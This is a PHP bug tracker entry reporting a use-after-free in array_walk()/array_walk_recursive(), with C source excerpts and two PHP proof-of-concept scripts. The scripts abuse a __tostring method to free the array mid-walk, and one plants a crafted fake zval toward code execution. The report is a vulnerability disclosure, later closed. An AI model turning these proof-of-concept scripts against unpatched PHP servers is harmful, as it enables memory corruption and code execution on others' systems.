|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-10-14 16:43 UTC] stas@php.net
-Type: Security
+Type: Bug
[2016-07-29 22:21 UTC] nikic@php.net
-Status: Open
+Status: Closed
-Assigned To:
+Assigned To: nikic
[2016-07-29 22:21 UTC] nikic@php.net
|
|||||||||||||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 30 22:00:01 2025 UTC |
Description: ------------ Use After Free Vulnerability in array_walk()/array_walk_recursive() ``` static int php_array_walk(HashTable *target_hash, zval *userdata, int recursive TSRMLS_DC) /* {{{ */ { ... BG(array_walk_fci).retval_ptr_ptr = &retval_ptr; BG(array_walk_fci).param_count = userdata ? 3 : 2; BG(array_walk_fci).params = args; BG(array_walk_fci).no_separation = 0; /* Iterate through hash */ zend_hash_internal_pointer_reset(target_hash); while (!EG(exception) && zend_hash_get_current_data(target_hash, (void **)&args[0]) == SUCCESS) { ... if (zend_call_function(&BG(array_walk_fci), &BG(array_walk_fci_cache) TSRMLS_CC) == SUCCESS) { ... PHP_FUNCTION(array_walk) { ... if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Hf|z/", &array, &BG(array_walk_fci), &BG(array_walk_fci_cache), &userdata) == FAILURE) { BG(array_walk_fci) = orig_array_walk_fci; BG(array_walk_fci_cache) = orig_array_walk_fci_cache; return; } php_array_walk(array, userdata, 0 TSRMLS_CC); ``` the array_walk()/array_walk_recursive()'s callback function to a object-type ZVAL is able to call to the object's magic methods, this means an attacker will be able to changes the original array and its elements. this should result in use-after-free attack and arbitrary code execution. PoC1 ``` class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype'); ``` PoC2 ``` class obj { function __tostring() { global $arr; $arr = 1; for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } return 'hi'; } } $arr = array('string' => new obj); array_walk_recursive($arr, 'settype'); ```